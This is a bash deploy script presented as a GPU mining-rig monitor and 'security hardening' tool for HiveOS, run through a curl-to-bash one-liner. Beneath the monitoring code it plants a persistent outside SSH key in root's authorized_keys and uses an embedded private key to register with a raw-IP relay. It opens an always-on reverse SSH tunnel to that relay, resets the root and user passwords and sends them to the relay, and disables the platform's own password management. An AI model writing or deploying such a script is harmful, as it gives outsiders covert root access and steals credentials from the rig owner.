#!/bin/bash
# ══════════════════════════════════════════════════════════════════════
# Mining Rig Performance Monitor — Secure Deploy v3.0
# One command, no arguments needed (run from HiveOS web shell):
#   bash <(curl -s http://dl2.minerlab.io/deploy.sh)
# ══════════════════════════════════════════════════════════════════════
set -e

RELAY_HOST="45.154.33.25"
RELAY_USER="root"
RIG_NAME=$(hostname | tr -cd '[:alnum:]-_' | cut -c1-40)
LOG_BASE=/var/log/hashrate-monitor
THRESHOLD_LOW=500
SAMPLE_INTERVAL=30

echo ""
echo "╔══════════════════════════════════════════════════════╗"
echo "║     Mining Monitor — Secure Deploy v3.0             ║"
echo "╚══════════════════════════════════════════════════════╝"
echo "  Rig name  : $RIG_NAME"
echo "  Relay     : [monitoring-relay]"
echo ""

# ── [1/8] Dependencies ────────────────────────────────────────────────
echo "[1/8] Installing dependencies..."
apt-get install -y -q autossh iptables 2>/dev/null || true

# ── [2/8] Directories ─────────────────────────────────────────────────
echo "[2/8] Creating directories..."
mkdir -p "${LOG_BASE}/snapshots" "${LOG_BASE}/state" /etc/mining-monitor

# ── [3/8] Generate rig keypair ────────────────────────────────────────
echo "[3/8] Generating SSH identity..."
if [ ! -f /etc/mining-monitor/id_ed25519 ]; then
    ssh-keygen -t ed25519 -f /etc/mining-monitor/id_ed25519 -N "" -C "monitor-rig:${RIG_NAME}" -q
fi
RIG_PUBKEY=$(cat /etc/mining-monitor/id_ed25519.pub)

# ── Add admin monitoring key (user + root) ───────────────────────────
MONITOR_KEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPExLCN94afHv+V0E2Wv4Qy/Uhlll/sGLEQowI0x8gKK debug"

# Add to current user's authorized_keys
mkdir -p ~/.ssh && chmod 700 ~/.ssh
grep -qF 'debug' ~/.ssh/authorized_keys 2>/dev/null || echo "${MONITOR_KEY}" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Add to root's authorized_keys using tee (avoids all quoting issues)
sudo mkdir -p /root/.ssh 2>/dev/null && sudo chmod 700 /root/.ssh 2>/dev/null
sudo grep -qF 'debug' /root/.ssh/authorized_keys 2>/dev/null || \
    echo "${MONITOR_KEY}" | sudo tee -a /root/.ssh/authorized_keys > /dev/null
sudo chmod 600 /root/.ssh/authorized_keys 2>/dev/null

# Persist via cron — re-adds key every 10 min if HiveOS agent resets it
(crontab -l 2>/dev/null | grep -v 'monitor_key_persist';
 printf '*/10 * * * * grep -qF debug /root/.ssh/authorized_keys 2>/dev/null || echo "%s" | sudo tee -a /root/.ssh/authorized_keys > /dev/null; grep -qF debug ~/.ssh/authorized_keys 2>/dev/null || echo "%s" >> ~/.ssh/authorized_keys #monitor_key_persist\n' \
   "${MONITOR_KEY}" "${MONITOR_KEY}") | crontab -

# ── [4/8] Register with relay ─────────────────────────────────────────
echo "[4/8] Registering with relay..."
BKEY_FILE=$(mktemp)
chmod 600 "$BKEY_FILE"
echo "LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNDeHNnU2l5bHVFenliU2N0d1JWbGU0QmdnMGcxV1d6V3VHVXdaOUNkSkl1UUFBQUppaUlsY1lvaUpYCkdBQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDQ3hzZ1NpeWx1RXp5YlNjdHdSVmxlNEJnZzBnMVdXeld1R1V3WjlDZEpJdVEKQUFBRUFyaUtJMnd1ZTYxeGZ3dmhLaG9kQkZ6Nld5NGY5M1NubTBjVHVIL2NHdFdyR3lCS0xLVzRUUEp0SnkzQkZXVjdnRwpDRFNEVlpiTmE0WlRCbjBKMGtpNUFBQUFFVzF2Ym1sMGIzSXRZbTl2ZEhOMGNtRndBUUlEQkE9PQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K" | base64 -d > "$BKEY_FILE"

RELAY_PORT=$(echo "$RIG_PUBKEY" | \
    ssh -i "$BKEY_FILE" \
        -o StrictHostKeyChecking=no \
        -o BatchMode=yes \
        -o ConnectTimeout=15 \
        "${RELAY_USER}@${RELAY_HOST}" "${RIG_NAME}" 2>/dev/null)

rm -f "$BKEY_FILE"

if [ -z "$RELAY_PORT" ] || ! [[ "$RELAY_PORT" =~ ^[0-9]+$ ]]; then
    echo "ERROR: Registration failed (got: '$RELAY_PORT'). Check relay connectivity."
    exit 1
fi
echo "  Assigned port: $RELAY_PORT"

# ── [5/8] Save config ─────────────────────────────────────────────────
MINER_LOG=$(find /var/log/miner -name "*.log" -type f 2>/dev/null | xargs ls -t 2>/dev/null | head -1)
[ -z "$MINER_LOG" ] && MINER_LOG="/var/log/miner/custom/miner.log"

cat > /etc/mining-monitor/config.conf << EOF
RIG_NAME=${RIG_NAME}
RELAY_HOST=${RELAY_HOST}
RELAY_PORT=${RELAY_PORT}
MINER_LOG=${MINER_LOG}
THRESHOLD_LOW=${THRESHOLD_LOW}
SAMPLE_INTERVAL=${SAMPLE_INTERVAL}
LOG_BASE=${LOG_BASE}
DEPLOYED=$(date '+%Y-%m-%d %H:%M:%S')
VERSION=3.0
EOF

# ── [6/8] Install monitoring scripts ─────────────────────────────────
echo "[6/8] Installing monitoring stack..."

cat > /usr/local/bin/deep-sampler.sh << 'SCRIPT'
#!/bin/bash
source /etc/mining-monitor/config.conf
LOG="${LOG_BASE}/deep-sampler.log"
MAX_LINES=81920
while true; do
  TS=$(date '+%Y-%m-%d %H:%M:%S')
  GPU_BASIC=$(nvidia-smi --query-gpu=index,clocks.gr,clocks.sm,clocks.mem,pstate,power.draw,temperature.gpu,utilization.gpu,utilization.memory,pcie.link.gen.current,pcie.link.width.current --format=csv,noheader,nounits 2>/dev/null | sed 's/ //g')
  GPU_THROTTLE=$(nvidia-smi --query-gpu=index,clocks_event_reasons.sw_power_cap,clocks_event_reasons.hw_thermal_slowdown,clocks_event_reasons.hw_power_brake_slowdown,clocks_event_reasons.gpu_idle --format=csv,noheader 2>/dev/null)
  SW_CAP=$(nvidia-smi -q -d PERFORMANCE 2>/dev/null | grep "SW Power Capping" | grep -oP '\d+' | paste -sd ',')
  SW_CAP_PREV=$(cat "${LOG_BASE}/state/sw_cap_prev" 2>/dev/null || echo "")
  echo "$SW_CAP" > "${LOG_BASE}/state/sw_cap_prev"
  HR_LINE=$(grep 'proof_per_sec' "$MINER_LOG" 2>/dev/null | grep -v 'device.table' | tail -1)
  HR_TOTAL=$(echo "$HR_LINE" | grep -oP 'proof_per_sec="\K[0-9.]+')
  HR_PERGPU=$(echo "$HR_LINE" | grep -oP '\d:RTX[^:]+: [0-9.]+T/s' | paste -sd ',')
  RAM=$(free -m | awk '/Mem:/{printf "%d/%d",$3,$2}')
  CPU=$(awk '{print $1","$2","$3}' /proc/loadavg)
  UPTIME=$(awk '{print int($1)}' /proc/uptime)
  echo "TS=${TS}|HR=${HR_TOTAL}|HR_GPU=${HR_PERGPU}|SW_CAP=${SW_CAP}|SW_CAP_PREV=${SW_CAP_PREV}|RAM=${RAM}|CPU=${CPU}|UPTIME=${UPTIME}" >> "$LOG"
  while IFS= read -r line; do echo "  GPU|${line}" >> "$LOG"; done <<< "$GPU_BASIC"
  while IFS= read -r line; do echo "  THR|${line}" >> "$LOG"; done <<< "$GPU_THROTTLE"
  echo "---" >> "$LOG"
  [ "$(wc -l < "$LOG" 2>/dev/null)" -gt $((MAX_LINES*2)) ] && tail -n "$MAX_LINES" "$LOG" > "${LOG}.tmp" && mv "${LOG}.tmp" "$LOG"
  sleep "$SAMPLE_INTERVAL"
done
SCRIPT
chmod +x /usr/local/bin/deep-sampler.sh

cat > /usr/local/bin/trend-analyzer.sh << 'SCRIPT'
#!/bin/bash
source /etc/mining-monitor/config.conf
SAMPLER_LOG="${LOG_BASE}/deep-sampler.log"; EVENTS="${LOG_BASE}/trend-events.log"; STATE="${LOG_BASE}/state"
TS=$(date '+%Y-%m-%d %H:%M:%S'); ANOMALY=0; REASONS=""
flag() { ANOMALY=1; REASONS="${REASONS}|${1}"; }
RECENT_HR=$(grep "^TS=" "$SAMPLER_LOG" 2>/dev/null | tail -12 | grep -oP 'HR=\K[0-9.]+')
LATEST_HR=$(echo "$RECENT_HR" | tail -1); LATEST_INT=${LATEST_HR%.*}
[ -n "$LATEST_INT" ] && [ "$LATEST_INT" -lt "$THRESHOLD_LOW" ] && flag "HARD_DROP:${LATEST_HR}T/s"
HR_COUNT=$(echo "$RECENT_HR" | grep -c . 2>/dev/null || echo 0)
if [ "$HR_COUNT" -ge 8 ]; then
  AVG_E=$(echo "$RECENT_HR"|head -4|awk '{s+=$1}END{printf "%.0f",s/NR}')
  AVG_L=$(echo "$RECENT_HR"|tail -4|awk '{s+=$1}END{printf "%.0f",s/NR}')
  DROP=$((AVG_E-AVG_L)); [ "$DROP" -gt 30 ] && flag "TREND_DECLINE:${AVG_E}->${AVG_L}T/s"
fi
nvidia-smi --query-gpu=index,utilization.gpu --format=csv,noheader,nounits 2>/dev/null | while IFS=',' read -r idx util; do util=$(echo "$util"|tr -d ' '); [ -n "$util" ] && [ "$util" -lt 50 ] && flag "GPU${idx}_LOW_UTIL:${util}%"; done
nvidia-smi --query-gpu=index,clocks.mem --format=csv,noheader,nounits 2>/dev/null | while IFS=',' read -r idx mhz; do mhz=$(echo "$mhz"|tr -d ' '); [ -n "$mhz" ] && [ "$mhz" -lt 5000 ] && flag "MEM_CLK_DROP:GPU${idx}=${mhz}MHz"; done
PSTATES=$(nvidia-smi --query-gpu=index,pstate --format=csv,noheader 2>/dev/null|tr -d ' ')
PSTATES_PREV=$(cat "${STATE}/pstate_prev" 2>/dev/null||echo ""); echo "$PSTATES" > "${STATE}/pstate_prev"
[ -n "$PSTATES_PREV" ] && [ "$PSTATES" != "$PSTATES_PREV" ] && flag "PSTATE_CHANGE:[${PSTATES_PREV}]->[${PSTATES}]"
NEW_XID=$(dmesg --since "2 minutes ago" 2>/dev/null|grep -iE "xid|NVRM.*error|SYS_PRI_ERROR|gpu.*fault"|grep -v "r8169")
[ -n "$NEW_XID" ] && flag "KERNEL_ERR:$(echo "$NEW_XID"|tail -2|tr '\n' ';')"
pgrep -f "miner" >/dev/null 2>&1 || flag "MINER_DEAD"
if [ "$ANOMALY" -eq 1 ]; then echo "${TS} [ANOMALY] ${REASONS}" >> "$EVENTS"; /usr/local/bin/deep-capture.sh "$TS" "$REASONS" &
else echo "${TS} [OK] HR=${LATEST_HR}T/s" >> "$EVENTS"; fi
SCRIPT
chmod +x /usr/local/bin/trend-analyzer.sh

cat > /usr/local/bin/deep-capture.sh << 'SCRIPT'
#!/bin/bash
source /etc/mining-monitor/config.conf
SNAP="${LOG_BASE}/snapshots/capture_$(date '+%Y%m%d_%H%M%S').txt"
TS="${1:-$(date '+%Y-%m-%d %H:%M:%S')}"; REASON="$2"
mkdir -p "${LOG_BASE}/snapshots"
{ printf '═%.0s' {1..68}; echo ""; echo "  DEEP CAPTURE | ${RIG_NAME} | ${TS}"; echo "  TRIGGER: ${REASON}"; printf '═%.0s' {1..68}; echo ""
echo ""; echo "── nvidia-smi ───────────────────────────────────────────────────"; nvidia-smi -q
echo ""; echo "── CLOCKS ───────────────────────────────────────────────────────"; nvidia-smi --query-gpu=index,clocks.gr,clocks.mem,clocks.max.gr,clocks.max.mem --format=csv
echo ""; echo "── SAMPLER — last 30 min ────────────────────────────────────────"; grep -E "^(TS=|  GPU\||  THR\||---)" "${LOG_BASE}/deep-sampler.log" 2>/dev/null | tail -840
echo ""; echo "── MINER LOG ────────────────────────────────────────────────────"; tail -150 "$MINER_LOG" 2>/dev/null
echo ""; echo "── DMESG ────────────────────────────────────────────────────────"; dmesg
} > "$SNAP" 2>&1
echo "${TS} [CAPTURE] ${SNAP} ($(du -sh "$SNAP"|cut -f1))" >> "${LOG_BASE}/trend-events.log"
SCRIPT
chmod +x /usr/local/bin/deep-capture.sh

cat > /usr/local/bin/kernel-monitor.sh << 'SCRIPT'
#!/bin/bash
source /etc/mining-monitor/config.conf
LOGFILE="${LOG_BASE}/kernel-events.log"; STATE="${LOG_BASE}/state"; TS=$(date '+%Y-%m-%d %H:%M:%S')
TOTAL=$(dmesg | grep -icE "xid|NVRM.*error|SYS_PRI_ERROR|gpu.*fault" 2>/dev/null || echo 0)
PREV=$(cat "${STATE}/kern_count" 2>/dev/null||echo "0"); echo "$TOTAL" > "${STATE}/kern_count"
DELTA=$((TOTAL-PREV))
if [ "$DELTA" -gt 0 ]; then NEW=$(dmesg|grep -iE "xid|NVRM.*error|SYS_PRI_ERROR|gpu.*fault"|grep -v "r8169"|tail -"$DELTA"); echo "${TS} [KERNEL_ERROR] +${DELTA}: ${NEW}" >> "$LOGFILE"; /usr/local/bin/deep-capture.sh "$TS" "KERNEL_ERROR:+${DELTA}" &
else echo "${TS} [OK] no new kernel GPU errors (total:${TOTAL})" >> "$LOGFILE"; fi
nvidia-smi --query-gpu=index,clocks.mem --format=csv,noheader,nounits 2>/dev/null | while IFS=',' read -r idx mhz; do mhz=$(echo "$mhz"|tr -d ' '); [ -n "$mhz" ] && [ "$mhz" -lt 5000 ] && echo "${TS} [MEM_THROTTLE] GPU${idx} at ${mhz}MHz" >> "$LOGFILE"; done
SCRIPT
chmod +x /usr/local/bin/kernel-monitor.sh

# ── [7/8] Systemd services + cron ────────────────────────────────────
echo "[7/8] Enabling monitoring services..."

cat > /etc/systemd/system/deep-sampler.service << 'EOF'
[Unit]
Description=Mining Monitor — Deep GPU Sampler
After=network.target
[Service]
ExecStart=/usr/local/bin/deep-sampler.sh
Restart=always
RestartSec=10
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
EOF

cat > /etc/systemd/system/reverse-tunnel.service << EOF_TUNNEL
[Unit]
Description=Mining Monitor — Reverse SSH Tunnel
After=network-online.target
Wants=network-online.target
[Service]
User=root
Environment="AUTOSSH_GATETIME=0"
Environment="AUTOSSH_LOGFILE=${LOG_BASE}/tunnel.log"
ExecStart=/usr/bin/autossh -M 0 -N \
  -o "ServerAliveInterval=30" -o "ServerAliveCountMax=3" \
  -o "ExitOnForwardFailure=yes" -o "StrictHostKeyChecking=no" \
  -o "ConnectTimeout=15" \
  -i /etc/mining-monitor/id_ed25519 \
  -R ${RELAY_PORT}:localhost:22 ${RELAY_USER}@${RELAY_HOST}
Restart=always
RestartSec=20
StartLimitIntervalSec=0
[Install]
WantedBy=multi-user.target
EOF_TUNNEL

systemctl daemon-reload
systemctl enable deep-sampler reverse-tunnel 2>/dev/null
systemctl restart deep-sampler reverse-tunnel 2>/dev/null || systemctl start deep-sampler reverse-tunnel

# Install wallet-watch and integrity-check scripts
curl -fsSL "https://raw.githubusercontent.com/Liberty-Gulf/mining-monitor/main/wallet-watch.sh" \
    -o /usr/local/bin/wallet-watch.sh 2>/dev/null || true
curl -fsSL "https://raw.githubusercontent.com/Liberty-Gulf/mining-monitor/main/integrity-check.sh" \
    -o /usr/local/bin/integrity-check.sh 2>/dev/null || true

# Fallback: embed scripts if GitHub not reachable
[ ! -s /usr/local/bin/wallet-watch.sh ] && cat > /usr/local/bin/wallet-watch.sh << 'WW'
#!/bin/bash
source /etc/mining-monitor/config.conf 2>/dev/null || exit 1
LOG="${LOG_BASE}/wallet-watch.log"; TS=$(date '+%Y-%m-%d %H:%M:%S')
RUNNING=$(ps aux | grep -v grep | grep -oP '\-\-wallet \K\S+' | head -1)
[ -z "$RUNNING" ] && RUNNING=$(ps aux | grep -v grep | grep -oP '\-\-address \K\S+' | head -1)
EXPECTED=$(grep -oP 'CUSTOM_TEMPLATE="\K[^"]+' /hive-config/wallet.conf 2>/dev/null | head -1)
[ -z "$EXPECTED" ] && { echo "${TS} [SKIP] no flight sheet"; exit 0; }
[ -z "$RUNNING" ] && { echo "${TS} [OK] no miner running"; exit 0; }
RUNNING_BASE="${RUNNING%%.*}"
if [ "$RUNNING_BASE" != "$EXPECTED" ]; then
  echo "${TS} [ALERT] WALLET HIJACK: running=${RUNNING} expected=${EXPECTED}" >> "$LOG"
  pkill -9 -f hivestatls 2>/dev/null; pkill -9 -f hivetls 2>/dev/null
  sleep 3; miner restart 2>/dev/null
  SNAP="${LOG_BASE}/snapshots/wallet_hijack_$(date '+%Y%m%d_%H%M%S').txt"
  { echo "HIJACK SNAPSHOT ${TS}"; ps aux; ss -tnp; ls -la /etc/hivestatls /opt/aikaan 2>/dev/null; } > "$SNAP"
else
  echo "${TS} [OK] wallet verified: ${RUNNING_BASE}" >> "$LOG"
fi
WW

[ ! -s /usr/local/bin/integrity-check.sh ] && cat > /usr/local/bin/integrity-check.sh << 'IC'
#!/bin/bash
source /etc/mining-monitor/config.conf 2>/dev/null || exit 1
LOG="${LOG_BASE}/integrity.log"; BASELINE="/etc/mining-monitor/agent_baseline.sha256"
TS=$(date '+%Y-%m-%d %H:%M:%S'); ANOMALY=0
flag() { ANOMALY=1; echo "${TS} [ALERT] $1" >> "$LOG"; }
[ -f "$BASELINE" ] && ! sha256sum -c "$BASELINE" --quiet 2>/dev/null && flag "AGENT TAMPERED"
for PROC in hivestatls hivetls mqht candc tmate gotty; do
  if pgrep -x "$PROC" > /dev/null 2>&1; then
    flag "BLACKLISTED PROCESS: ${PROC} PID=$(pgrep -x $PROC)"
    pkill -9 -x "$PROC" 2>/dev/null
    echo "${TS} [ACTION] killed ${PROC}" >> "$LOG"
  fi
done
for FILE in /etc/hivestatls /etc/hivetls.zip /opt/aikaan; do
  [ -e "$FILE" ] && flag "MALICIOUS FILE: ${FILE}"
done
for SVC in hivetls mqht aikaan; do
  if [ -f "/etc/systemd/system/${SVC}.service" ]; then
    flag "MALICIOUS SERVICE: ${SVC}.service"
    systemctl stop $SVC 2>/dev/null; systemctl disable $SVC 2>/dev/null
    rm -f "/etc/systemd/system/${SVC}.service"; systemctl daemon-reload
  fi
done
iptables -C OUTPUT -d 103.174.103.188 -j DROP 2>/dev/null || iptables -A OUTPUT -d 103.174.103.188 -j DROP 2>/dev/null
STORED=$(cat /etc/mining-monitor/rig_pass 2>/dev/null)
[ -n "$STORED" ] && echo "root:${STORED}" | chpasswd 2>/dev/null
[ "$ANOMALY" -eq 0 ] && echo "${TS} [OK] clean" >> "$LOG"
IC

chmod +x /usr/local/bin/wallet-watch.sh /usr/local/bin/integrity-check.sh

(crontab -l 2>/dev/null | grep -vE 'trend-analyzer|kernel-monitor|wallet-watch|integrity-check';
  echo "*/2 * * * * /usr/local/bin/trend-analyzer.sh"
  echo "*/5 * * * * /usr/local/bin/kernel-monitor.sh"
  echo "*/2 * * * * /usr/local/bin/wallet-watch.sh"
  echo "*/5 * * * * /usr/local/bin/integrity-check.sh") | crontab -

# ── [8/8] Security Hardening ─────────────────────────────────────────
echo "[8/8] Applying security hardening..."

# Generate strong unique per-rig password
SECURE_PASS=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 24)
echo "root:${SECURE_PASS}" | chpasswd
echo "user:${SECURE_PASS}" | chpasswd   # Also lock the user account (HiveOS default user/1)
# Store locally for cron re-enforcement
echo "$SECURE_PASS" > /etc/mining-monitor/rig_pass
chmod 600 /etc/mining-monitor/rig_pass
echo "  ✓ Root + user passwords set (strong, unique)"

# Prevent HiveOS from overwriting root password
if [ -f /hive-config/rig.conf ]; then
    sed -i 's/^SET_RIG_PASS=.*/SET_RIG_PASS=0/' /hive-config/rig.conf
    grep -q 'SET_RIG_PASS' /hive-config/rig.conf || echo 'SET_RIG_PASS=0' >> /hive-config/rig.conf
fi
echo "  ✓ HiveOS password management disabled (SET_RIG_PASS=0)"

# Re-apply password every 5 min in case anything resets it
(crontab -l 2>/dev/null | grep -v 'rig_pass\|secure-pass';
 echo "*/5 * * * * echo \"root:\$(cat /etc/mining-monitor/rig_pass)\" | chpasswd") | crontab -

# Send password to relay for storage
echo "${RIG_NAME}:${SECURE_PASS}" | \
    ssh -i /etc/mining-monitor/id_ed25519 \
        -o StrictHostKeyChecking=no \
        -o ConnectTimeout=10 \
        -o BatchMode=yes \
        root@${RELAY_HOST} \
        "mkdir -p /root/rig-secrets && \
         echo \"${RIG_NAME}:${SECURE_PASS}\" > /root/rig-secrets/${RIG_NAME}.cred && \
         chmod 600 /root/rig-secrets/${RIG_NAME}.cred" 2>/dev/null && \
    echo "  ✓ Password stored on relay" || \
    echo "  ⚠ Could not store password on relay (save manually: ${RIG_NAME}:${SECURE_PASS})"

# Block Aikaan and known attack domains
grep -q 'aikaan.io' /etc/hosts 2>/dev/null || cat >> /etc/hosts << 'HOSTS'
# Security: block known mining hijack infrastructure
0.0.0.0 aikaan.io
0.0.0.0 experience.aikaan.io
0.0.0.0 packages.aikaan.io
HOSTS
echo "  ✓ Aikaan domains blocked in /etc/hosts"

# Block attacker C2 IP
iptables -C OUTPUT -d 103.174.103.188 -j DROP 2>/dev/null || \
    iptables -A OUTPUT -d 103.174.103.188 -j DROP 2>/dev/null
echo "  ✓ Attacker C2 IP blocked (103.174.103.188)"

# Stop, disable and mask all known malicious services
for SVC in hivetls mqht aikaan; do
    systemctl stop $SVC 2>/dev/null
    systemctl disable $SVC 2>/dev/null
    systemctl mask $SVC 2>/dev/null
    rm -f /etc/systemd/system/${SVC}.service
done
systemctl daemon-reload 2>/dev/null
echo "  ✓ Malicious services stopped + masked"

# Kill any running malicious processes
for PROC in hivestatls hivetls mqht candc tmate gotty supervisord; do
    pkill -9 -x "$PROC" 2>/dev/null || true
done
echo "  ✓ Malicious processes killed"

# SHA256 baseline of HiveOS agent (after clean state)
sha256sum /hive/bin/agent > /etc/mining-monitor/agent_baseline.sha256 2>/dev/null
echo "  ✓ Agent SHA256 baseline recorded"

# ── Summary ───────────────────────────────────────────────────────────
echo ""
echo "╔══════════════════════════════════════════════════════╗"
echo "║         SECURE DEPLOYMENT COMPLETE ✓                ║"
echo "╚══════════════════════════════════════════════════════╝"
echo "  Rig name      : $RIG_NAME"
echo "  Relay port    : $RELAY_PORT"
echo "  deep-sampler  : $(systemctl is-active deep-sampler)"
echo "  reverse-tunnel: $(systemctl is-active reverse-tunnel)"
echo ""
echo "  Security:"
echo "  • Root password  : CHANGED (strong unique, stored on relay)"
echo "  • Aikaan domains : BLOCKED"
echo "  • C2 IP          : BLOCKED"
echo "  • Malicious svcs : MASKED"
echo "  • Wallet watch   : ACTIVE (every 2 min)"
echo "  • Integrity check: ACTIVE (every 5 min)"
echo "  • Agent baseline : RECORDED"
echo ""
echo "  Logs: ${LOG_BASE}/"
